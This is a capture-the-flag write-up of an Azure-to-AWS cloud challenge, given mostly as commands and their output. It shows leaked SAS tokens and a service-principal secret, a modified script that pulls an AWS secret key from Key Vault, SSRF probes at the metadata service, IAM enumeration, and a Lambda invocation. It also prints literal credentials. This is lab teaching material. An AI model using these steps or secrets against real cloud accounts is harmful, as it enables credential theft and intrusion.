Skip to main content Link Search Menu Expand Document (external link)

Secret of Meow Olympurr

Points: 725 [?]

Description

Jaga reached Meow Olympurr and met some native Meows. While cautious at first, they warmed up and shared that they have recently created a website to promote tourism! However, the young Meows explained that they are not cy-purr security trained and would like to understand what they might have misconfigured in their environments. The young Meows were trying to get two different environments to work together, but it seems like something is breaking…. Log a cy-purr security case by invoking the mysterious function and retrieve the secret code!
d2p9lw76n0gfo0.cloudfront.net

Solution

d2p9lw76n0gfo0.cloudfront.net

Browsing to the given URL, we are presented with what seems to be a page about cats?

Nothing seems out of the ordinary from the HTML source, but when browsing to a URL that does not exist, we observe the following HTML content:

<main role="main">
    <div class="album py-5 bg-light">
        <div class="container d-flex justify-content-center">
            <div class="row">
                <div class="col-sm">
                </div>
                <div class="col-sm" >
                <img src="http://18.141.147.115:8080/https://meowolympurr.z23.web.core.windows.net/images/ohno.jpg"/>
                </div>
                <div class="col-sm">
                </div>
                
            </div>
            </div>
    </div>
                
</main>

We see the URL: http://18.141.147.115:8080/https://meowolympurr.z23.web.core.windows.net/images/ohno.jpg, which was pretty suspicious as we are seeing a URL being appended to another URL. What’s going on?

Browsing to http://18.141.147.115:8080, we see that an instance of the Rob--W/cors-anywhere project being hosted.

We can probably deduce that this is to allow images from another origin, i.e https://meowolympurr.z23.web.core.windows.net/, to be loaded by the browser. But where does this new URL lead to?

meowolympurr.z23.web.core.windows.net (Part 1)

Browsing to the URL, we are presented yet again the same page. Or is it?

Scrolling down, we observe a new section.

olympurr-app.azurewebsites.net

Clicking on the link directed us to https://olympurr-app.azurewebsites.net/api/meowvellous.

It seems to be a page that allows us to fetch the contents of any arbitrary URL via the use the url query parameter. The few things we tried were:

1) Azure Instance Metadata service at http://169.254.169.254/metadata/instance 2) Localhost at http://127.0.0.1:XXXX

None returned any useful response, so we can deduce that SSRF (Service-Side Request Forgery) exploitation might not be the way forward.

meowolympurr.z23.web.core.windows.net (Part 2)

Returning back to this URL, we accidentally browsed to a non-existent page and we observe the following HTML content:

<main role="main">
    <!--
        To do
        * Integrate services hosted on different cloud platforms
    -->
    <div class="album py-5 bg-light">
        <div class="container d-flex justify-content-center">
            <div class="row">
                <div class="col-sm">
                </div>
                <div class="col-sm" >
                <img src="images/ohno.jpg?sv=2017-07-29&ss=b&srt=sco&sp=rl&se=2022-12-12T00:00:00Z&st=2022-09-01T00:00:00Z&spr=https&sig=UE2%2FTMTAzDnyJEABpX4OYFBs1b1uAWjwEEAtjeQtwxg%3D"/>
                </div>
                <div class="col-sm">
                </div>
                
            </div>
        </div>
    </div>

    <!-- 
        For access to website source codes: 
        https://meowolympurr.blob.core.windows.net?sv=2017-07-29&ss=b&srt=sco&sp=rl&se=2022-12-12T00:00:00Z&st=2022-09-01T00:00:00Z&spr=https&sig=UE2%2FTMTAzDnyJEABpX4OYFBs1b1uAWjwEEAtjeQtwxg%3D
    -->
    
</main>

We see that the ohno.jpg URL having a bunch of query parameters appended to it and further down, we see a comment about accessing the source code of the website via a new URL.

meowolympurr.blob.core.windows.net

Browsing to https://meowolympurr.blob.core.windows.net?sv=2017-07-29&ss=b&srt=sco&sp=rl&se=2022-12-12T00:00:00Z&st=2022-09-01T00:00:00Z&spr=https&sig=UE2%2FTMTAzDnyJEABpX4OYFBs1b1uAWjwEEAtjeQtwxg%3D, we get an error:

<?xml version="1.0" encoding="UTF-8"?>
<Error>
   <Code>InvalidQueryParameterValue</Code>
   <Message>Value for one of the query parameters specified in the request URI is invalid.
RequestId:34895dab-701e-0052-5524-099fba000000
Time:2022-12-06T03:37:24.3093623Z</Message>
   <QueryParameterName>comp</QueryParameterName>
   <QueryParameterValue />
   <Reason />
</Error>

It’s complaining that the comp query parameter is missing. Based on the hostname portion of the URL (*.blob.core.windows.net), we can tell that this was an Azure Blob Storage service. While reading up the API documentation, we learn that we can use the List Containers API to retrieve the list of containers under this URL:

https://meowolympurr.blob.core.windows.net?sv=2017-07-29&ss=b&srt=sco&sp=rl&se=2022-12-12T00:00:00Z&st=2022-09-01T00:00:00Z&spr=https&sig=UE2%2FTMTAzDnyJEABpX4OYFBs1b1uAWjwEEAtjeQtwxg%3D&comp=list (Note the comp=list at the end)

<?xml version="1.0" encoding="UTF-8"?>
<EnumerationResults ServiceEndpoint="https://meowolympurr.blob.core.windows.net/">
	<Containers>
		<Container>
			<Name>$web</Name>
			<Properties>
				<Last-Modified>Fri, 18 Nov
 2022 03:23:11 GMT</Last-Modified>
				<Etag>"0x8DAC914387D8CC7"</Etag>
				<LeaseStatus>unlocked</LeaseStatus>
				<LeaseState>available</LeaseState>
			</Properties>
		</Container>
		<Container>
			<Name>dev</Name>
			<Properties>
				<Last-Modified>Fri, 18 Nov 2022 03:23:11 GMT</Last-Modified>
				<Etag>"0x8DAC91438FC71A6"</Etag>
				<LeaseStatus>unlocked</LeaseStatus>
				<LeaseState>available</LeaseState>
			</Properties>
		</Container>
	</Containers>
	<NextMarker />
</EnumerationResults>

The dev container looked interesting so lets use the List Blobs API to list the blobs in this container:

https://meowolympurr.blob.core.windows.net/dev?sv=2017-07-29&ss=b&srt=sco&sp=rl&se=2022-12-12T00:00:00Z&st=2022-09-01T00:00:00Z&spr=https&sig=UE2%2FTMTAzDnyJEABpX4OYFBs1b1uAWjwEEAtjeQtwxg%3D&comp=list&restype=container (Note the /dev path and the comp=list and restype=container at the end)

<?xml version="1.0" encoding="utf-8"?>
<EnumerationResults ServiceEndpoint="https://meowolympurr.blob.core.windows.net/" ContainerName="dev">
	<Blobs>
		<Blob>
			<Name>readme.md</Name>
			<Properties>
				<Last-Modified>Fri, 18 Nov 2022 03:23:56 GMT</Last-Modified>
				<Etag>0x8DAC9145356C5EF</Etag>
				<Content-Length>901</Content-Length>
				<Content-Type>text/plain</Content-Type>
				<Content-Encoding />
				<Content-Language />
				<Content-MD5 />
				<Cache-Control />
				<Content-Disposition />
				<BlobType>BlockBlob</BlobType>
				<AccessTier>Hot</AccessTier>
				<AccessTierInferred>true</AccessTierInferred>
				<LeaseStatus>unlocked</LeaseStatus>
				<LeaseState>available</LeaseState>
				<ServerEncrypted>true</ServerEncrypted>
			</Properties>
		</Blob>
	</Blobs>
	<NextMarker />
</EnumerationResults>

We see that there is a readme.md file.

https://meowolympurr.blob.core.windows.net/dev/readme.md?sv=2017-07-29&ss=b&srt=sco&sp=rl&se=2022-12-12T00:00:00Z&st=2022-09-01T00:00:00Z&spr=https&sig=UE2%2FTMTAzDnyJEABpX4OYFBs1b1uAWjwEEAtjeQtwxg%3D (Note the /dev/readme.md path)

# Meow Olympurr 
One stop service for all fun activites in Meow Olympurr! 
    
All resources are hosted on a single tenant: 83e595f4-f086-4f2f-9de8-d698b6012093

Meows are not cy-purr security trained, but we are willing to learn! 
    
# To do 
1. Consolidate the asset list 
2. Seek advice from Jaga and team when they arrive! 
3. Integrate services 
4. Remove credentials used for debugging access to function app

# Function app - https://olympurr-app.azurewebsites.net/api/meowvellous
SAS token to access the scm-releases container: ?sv=2018-11-09&sr=c&st=2022-09-01T00%3A00%3A00Z&se=2022-12-12T00%3A00%3A00Z&sp=rl&spr=https&sig=jENgCFTrC1mYM1ZNo%2F8pq1Hg9BO1VLbXlk%2FpABrK4Eo%3D

## Credentials for debugging
The following service principal has the same privileges as the function app
Application ID: ee92075f-4ddc-4522-a12c-2bc0ab874c85
Client Secret: kmk8Q~mGYD9jNfgm~rcIOMRgiC9ekKtNEw5GPaS7

It does seem a little intimidating at first when confronted with a ton of mysterious IDs and secrets, but online documentation was a big help in telling us the way forward.

Signing in to Azure

Using the Application ID, Client Secret and Tenant ID, we would be able to sign in to Azure using the Azure CLI tool, which can be installed by running sudo apt-get install azure-cli.

Next, we can do the following:

$ az login \
    --service-principal \
    -u ee92075f-4ddc-4522-a12c-2bc0ab874c85 \
    -p kmk8Q~mGYD9jNfgm~rcIOMRgiC9ekKtNEw5GPaS7 \
    --tenant 83e595f4-f086-4f2f-9de8-d698b6012093
[
  {
    "cloudName": "AzureCloud",
    "homeTenantId": "83e595f4-f086-4f2f-9de8-d698b6012093",
    "id": "bb11df92-eff5-47b6-b940-a3ce6ded6431",
    "isDefault": true,
    "managedByTenants": [],
    "name": "STF2022",
    "state": "Enabled",
    "tenantId": "83e595f4-f086-4f2f-9de8-d698b6012093",
    "user": {
      "name": "ee92075f-4ddc-4522-a12c-2bc0ab874c85",
      "type": "servicePrincipal"
    }
  }
]

Seeing that response meant that we were able to successfully login.

scm-releases container

Referring back to the readme.md, there was a note about the scm-releases container and we are given the SAS token for it. Since we did not see the scm-releases container when we used List Containers API on meowolympurr storage account, we can deduce that the scm-releases container resides in another storage account. Could we see if we can find any other storage accounts?

$ az storage account list            
[
  {
    ...
    "name": "meowolympurr",
    ...
    "primaryEndpoints": {
      "blob": "https://meowolympurr.blob.core.windows.net/",
      "dfs": "https://meowolympurr.dfs.core.windows.net/",
      "file": "https://meowolympurr.file.core.windows.net/",
      "internetEndpoints": null,
      "microsoftEndpoints": null,
      "queue": "https://meowolympurr.queue.core.windows.net/",
      "table": "https://meowolympurr.table.core.windows.net/",
      "web": "https://meowolympurr.z23.web.core.windows.net/"
    },
    ...
  },
  {
    ...
    "name": "meowvellousappstorage",
    ...
    "primaryEndpoints": {
      "blob": "https://meowvellousappstorage.blob.core.windows.net/",
      "dfs": "https://meowvellousappstorage.dfs.core.windows.net/",
      "file": "https://meowvellousappstorage.file.core.windows.net/",
      "internetEndpoints": null,
      "microsoftEndpoints": null,
      "queue": "https://meowvellousappstorage.queue.core.windows.net/",
      "table": "https://meowvellousappstorage.table.core.windows.net/",
      "web": "https://meowvellousappstorage.z23.web.core.windows.net/"
    },
    ...
  }
]

We listed the storage accounts and we spot a new storage account called meowvellousappstorage.

With the storage account name, container name and SAS token, we can now list the blobs in the scm-releases container.

$ az storage blob list \
    --container-name scm-releases \
    --account-name meowvellousappstorage \
    --sas-token "?sv=2018-11-09&sr=c&st=2022-09-01T00%3A00%3A00Z&se=2022-12-12T00%3A00%3A00Z&sp=rl&spr=https&sig=jENgCFTrC1mYM1ZNo%2F8pq1Hg9BO1VLbXlk%2FpABrK4Eo%3D" \
[
  {
    "container": "scm-releases",
    ...
    "name": "scm-latest-olympurr-app.zip",
    ...
  }
]

We see that there is a scm-latest-olympurr-app.zip blob stored in this container, which we can download.

$ az storage blob download \
    --container-name scm-releases \
    --account-name meowvellousappstorage \
    --sas-token "?sv=2018-11-09&sr=c&st=2022-09-01T00%3A00%3A00Z&se=2022-12-12T00%3A00%3A00Z&sp=rl&spr=https&sig=jENgCFTrC1mYM1ZNo%2F8pq1Hg9BO1VLbXlk%2FpABrK4Eo%3D" \
    -n scm-latest-olympurr-app.zip \
    -f scm-latest-olympurr-app.zip
Finished[#############################################################]  100.0000%
...

Analyzing source code

Since we thought it was a ZIP file, we tried uncompressing it using unzip:

$ unzip scm-latest-olympurr-app.zip 
Archive:  scm-latest-olympurr-app.zip
  End-of-central-directory signature not found.  Either this file is not
  a zipfile, or it constitutes one disk of a multi-part archive.  In the
  latter case the central directory and zipfile comment will be found on
  the last disk(s) of this archive.
unzip:  cannot find zipfile directory in one of scm-latest-olympurr-app.zip or
        scm-latest-olympurr-app.zip.zip, and cannot find scm-latest-olympurr-app.zip.ZIP, period.

On closer inspection using file, we learnt that it was a Squash filesystem?

$ file scm-latest-olympurr-app.zip 
scm-latest-olympurr-app.zip: Squashfs filesystem, little endian, version 4.0, zlib compressed, 18614681 bytes, 4387 inodes, blocksize: 131072 bytes, created: Fri Nov 18 03:26:06 2022

To actually access it, we can use the unsquashfs command:

$ unsquashfs scm-latest-olympurr-app.zip
Parallel unsquashfs: Using 4 processors
3383 inodes (3817 blocks) to write

[===================================================================/] 7200/7200 100%

created 3383 files
created 1004 directories
created 0 symlinks
created 0 devices
created 0 fifos
created 0 sockets
created 0 hardlinks

After that is done, we will be able to see the source code files in the ./squashfs-root directory:

$ ls squashfs-root
host.json  meowvellous  oryx-manifest.toml  requirements.txt

Under the meowvellous directory, there was a __init__.py which contained the source code of the function app at https://olympurr-app.azurewebsites.net/api/meowvellous:

import boto3
import requests
import json

import azure.functions as func
from azure.identity import ManagedIdentityCredential
from azure.keyvault.secrets import SecretClient

functionName = "event-webservice"
keyName = "AKIA5G4XMRW7TLT6XD7R"

def logURL(url):
    identity = ManagedIdentityCredential()
    secretClient = SecretClient(vault_url="https://olympurr-aws.vault.azure.net/", credential=identity)
    secret = secretClient.get_secret(keyName).value
    session = boto3.Session(
        aws_access_key_id=keyName,
        aws_secret_access_key=secret
    )
    
    lambda_client = session.client("lambda", region_name="ap-southeast-1")

    details = {"url" : url}
    lambda_client.invoke(
        FunctionName=functionName,
        InvocationType="RequestResponse",
        Payload=bytes(json.dumps(details), "utf-8")
    )
    return secret

def main(req: func.HttpRequest) -> func.HttpResponse:
    url = req.params.get('url')

    if not url:
        try:
            req_body = req.get_json()
        except ValueError:
            pass
        else:
            name = req_body.get('url')

    if url:
        # Log the URL in AWS 
        secret = logURL(url)
        try:
            response = requests.get(url)
            return func.HttpResponse(response.text)
        except Exception as e:
            return func.HttpResponse(str(e))
    
    return func.HttpResponse(
            """Found an interesting event you would like to organise in Meow Olympurr?
Pass the URL as a query string. You will see the submitted information if it is successful. 
e.g. https://olympurr-app.azurewebsites.net/api/meowvellous?url=<INSERT>
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⡷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⡿⠋⠈⠻⣮⣳⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⣾⡿⠋⠀⠀⠀⠀⠙⣿⣿⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⡿⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠈⠛⠛⠿⠿⣿⣷⣶⣤⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⣾⡿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠛⠻⠿⣿⣶⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣀⣠⣤⣤⣀⡀⠀⠀⣀⣴⣿⡿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠿⣿⣷⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣄⠀⠀
⢀⣤⣾⡿⠟⠛⠛⢿⣿⣶⣾⣿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠿⣿⣷⣦⣀⣀⣤⣶⣿⡿⠿⢿⣿⡀⠀
⣿⣿⠏⠀⢰⡆⠀⠀⠉⢿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⢿⡿⠟⠋⠁⠀⠀⢸⣿⠇⠀
⣿⡟⠀⣀⠈⣀⡀⠒⠃⠀⠙⣿⡆⠀⠀⠀⠀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠇⠀
⣿⡇⠀⠛⢠⡋⢙⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀
⣿⣧⠀⠀⠀⠓⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠛⠋⠀⠀⢸⣧⣤⣤⣶⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⡿⠀⠀
⣿⣿⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠻⣷⣶⣶⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⠁⠀⠀
⠈⠛⠻⠿⢿⣿⣷⣶⣦⣤⣄⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⡏⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠉⠙⠛⠻⠿⢿⣿⣷⣶⣦⣤⣄⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠿⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢿⣿⡄⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠙⠛⠻⠿⢿⣿⣷⣶⣦⣤⣄⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⡄⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠛⠿⠿⣿⣷⣶⣶⣤⣤⣀⡀⠀⠀⠀⢀⣴⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡿⣄
   Send us the details!            ⠀⠀⠉⠉⠛⠛⠿⠿⣿⣷⣶⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣹
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠀⠀⠀⠀⠀⠀⢸⣧
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣆⠀⠀⠀⠀⠀⠀⢀⣀⣠⣤⣶⣾⣿⣿⣿⣿⣤⣄⣀⡀⠀⠀⠀⣿
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⢿⣻⣷⣶⣾⣿⣿⡿⢯⣛⣛⡋⠁⠀⠀⠉⠙⠛⠛⠿⣿⣿⡷⣶⣿
            """,
            status_code=200
    )

What could our attention was the functionName and keyName values, as well as the use of Azure Key Vault at https://olympurr-aws.vault.azure.net/.

Here is what the code of this function app does: 1) Use its current Azure credentials to access the Azure Key Vault 2) Retrieves the secret that corresponds to the AKIA5G4XMRW7TLT6XD7R key in the Azure Key Vault 3) Use the secret as an AWS Secret Access Key along with AKIA5G4XMRW7TLT6XD7R as the AWS Access Key ID to trigger the event-webservice AWS Lambda function

Extracting the AWS Secret Access Key from the Azure Key Vault

Rather than attempting to find the Azure CLI equivalent of the source code, we will instead create a copy of it and tune it accordingly to suit our purpose of extracting the AWS Secret Access Key from the Azure Key Vault.

import boto3
import requests
import json

import azure.functions as func
from azure.identity import DefaultAzureCredential 
from azure.keyvault.secrets import SecretClient

functionName = "event-webservice"
keyName = "AKIA5G4XMRW7TLT6XD7R"

# Changed from ManagedIdentityCredential() to DefaultAzureCredential()
identity = DefaultAzureCredential()
secretClient = SecretClient(vault_url="https://olympurr-aws.vault.azure.net/", credential=identity)
secret = secretClient.get_secret(keyName).value

print("AWS Secret Access Key:", secret)

After installing the required libraries and running this script, we successfully retrieved the AWS Secret Access Key:

$ python3 export.py
AWS Secret Access Key: fgQdSIETJp/yBKwWbmf2SprGa2eXWyqgkeeIdWtL

Enumerating AWS Account

We then proceed to use the AWS CLI tool to sign into AWS.

$ aws configure
AWS Access Key ID [None]: AKIA5G4XMRW7TLT6XD7R
AWS Secret Access Key [None]: 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
Default region name [None]: ap-southeast-1
Default output format [None]: json
$ aws sts get-caller-identity
{
    "UserId": "AIDA5G4XMRW7UAWT26Q6Q",
    "Account": "908166204863",
    "Arn": "arn:aws:iam::908166204863:user/azure_user"
}

We see that we are logged in as azure_user. Lets see what policies that are currently attached to us:

$ aws iam list-attached-user-policies --user-name azure_user 
{
    "AttachedPolicies": [
        {
            "PolicyName": "azure-policy",
            "PolicyArn": "arn:aws:iam::908166204863:policy/azure-policy"
        },
        {
            "PolicyName": "azure-policy-extended",
            "PolicyArn": "arn:aws:iam::908166204863:policy/azure-policy-extended"
        }
    ]
}

$ aws iam get-policy-version --policy-arn arn:aws:iam::908166204863:policy/azure-policy --version-id v1         
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "iam:GetPolicy",
                        "iam:GetPolicyVersion"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": [
                        "iam:ListAttachedUserPolicies"
                    ],
                    "Effect": "Allow",
                    "Resource": "arn:aws:iam::908166204863:user/azure_user"
                },
                {
                    "Action": [
                        "lambda:Invoke*",
                        "lambda:ListFunctions",
                        "lambda:CreateFunction",
                        "logs:CreateLogGroup",
                        "logs:CreateLogStream",
                        "logs:PutLogEvents",
                        "lambda:UpdateFunctionCode"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2022-11-18T03:22:31Z"
    }
}

$ aws iam get-policy-version --policy-arn arn:aws:iam::908166204863:policy/azure-policy-extended --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "iam:GetPolicy",
                        "iam:GetPolicyVersion",
                        "iam:AddUserToGroup",
                        "iam:AttachUserPolicy",
                        "iam:CreateRole",
                        "iam:AttachRolePolicy",
                        "iam:PassRole"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": [
                        "iam:ListAttachedUserPolicies",
                        "iam:GetUser"
                    ],
                    "Effect": "Allow",
                    "Resource": "arn:aws:iam::908166204863:user/azure_user"
                },
                {
                    "Action": [
                        "lambda:Invoke*",
                        "lambda:ListFunctions",
                        "lambda:CreateFunction",
                        "logs:DescribeLogGroups",
                        "logs:DescribeLogStreams",
                        "logs:GetLogEvents",
                        "lambda:UpdateFunctionCode"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": [
                        "cloudformation:CreateStack"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2022-11-18T03:22:31Z"
    }
}

The azure_user has the lambda:ListFunctions. Lets see if we can find any other lambda functions that we might be able to trigger:

$ aws lambda list-functions

An error occurred (AccessDeniedException) when calling the ListFunctions operation: User: arn:aws:iam::908166204863:user/azure_user is not authorized to perform: lambda:ListFunctions on resource: * with an explicit deny in a permissions boundary

Unfortunately, there was a Permissions Boundary policy set on the azure_user account that prevents us from listing the lambda functions.

$ aws iam get-user
{
    "User": {
        "Path": "/",
        "UserName": "azure_user",
        "UserId": "AIDA5G4XMRW7UAWT26Q6Q",
        "Arn": "arn:aws:iam::908166204863:user/azure_user",
        "CreateDate": "2022-11-18T03:22:30Z",
        "PermissionsBoundary": {
            "PermissionsBoundaryType": "Policy",
            "PermissionsBoundaryArn": "arn:aws:iam::908166204863:policy/azure-policy-permissions-boundary"
        }
    }
}

$ aws iam get-policy-version --policy-arn arn:aws:iam::908166204863:policy/azure-policy-permissions-boundary --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "iam:*",
                        "lambda:*"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": [
                        "lambda:*"
                    ],
                    "Effect": "Deny",
                    "Resource": "arn:aws:lambda:ap-southeast-1:908166204863:function:amplify-*"
                },
                {
                    "Action": [
                        "lambda:InvokeAsync",
                        "iam:Generate*",
                        "iam:Add*",
                        "iam:Create*",
                        "iam:Put*",
                        "lambda:InvokeFunctionUrl",
                        "iam:Delete*",
                        "logs:Put*",
                        "iam:Deactivate*",
                        "iam:Enable*",
                        "logs:Create*",
                        "iam:Pass*",
                        "lambda:List*",
                        "iam:Attach*",
                        "lambda:Create*",
                        "lambda:Update*",
                        "cloudformation:*"
                    ],
                    "Effect": "Deny",
                    "Resource": "*"
                },
                {
                    "Action": [
                        "logs:Describe*"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": [
                        "logs:*"
                    ],
                    "Effect": "Allow",
                    "Resource": "arn:aws:logs:ap-southeast-1:908166204863:log-group:/aws/lambda/*-webservice:*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": false,
        "CreateDate": "2022-11-18T03:22:29Z"
    }
}

However, what stood out the logs:Describe* allow permissions, so perhaps we could find something useful within the logs?

Finding the secret AWS lambda function within AWS Log Groups

$ aws logs describe-log-groups
{
    "logGroups": [
        ...
        {
            "logGroupName": "/aws/lambda/event-webservice",
            "creationTime": 1664456644866,
            "metricFilterCount": 0,
            "arn": "arn:aws:logs:ap-southeast-1:908166204863:log-group:/aws/lambda/event-webservice:*",
            "storedBytes": 3807231
        },
        {
            "logGroupName": "/aws/lambda/internal-secret-of-MeowOlympurr-webservice",
            "creationTime": 1664456602816,
            "metricFilterCount": 0,
            "arn": "arn:aws:logs:ap-southeast-1:908166204863:log-group:/aws/lambda/internal-secret-of-MeowOlympurr-webservice:*",
            "storedBytes": 18021
        }
    ]
}

We observe that there are 2 log groups that are of interest:

  • /aws/lambda/event-webservice
  • /aws/lambda/internal-secret-of-MeowOlympurr-webservice

Knowing that there was a AWS lambda function called event-webservice from the source code that we extracted earlier, could there be a internal-secret-of-MeowOlympurr-webservice AWS lambda function as well?

$ aws lambda invoke \
    --function-name internal-secret-of-MeowOlympurr-webservice \
    --invocation-type RequestResponse \
    /dev/stdout
{
    "statusCode": 200,
    "headers": {
        "Content-Type": "application/json",
        "Access-Control-Allow-Origin": "*"
    },
    "body": "{\"Message\": \"STF22{LIveInTh3Me0wmen7_:3}\"}",
    "isBase64Encoded": false
}
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}

Turns out simply triggering internal-secret-of-MeowOlympurr-webservice AWS lambda function without any payload gave us the flag.

Flag

STF22{LIveInTh3Me0wmen7_:3}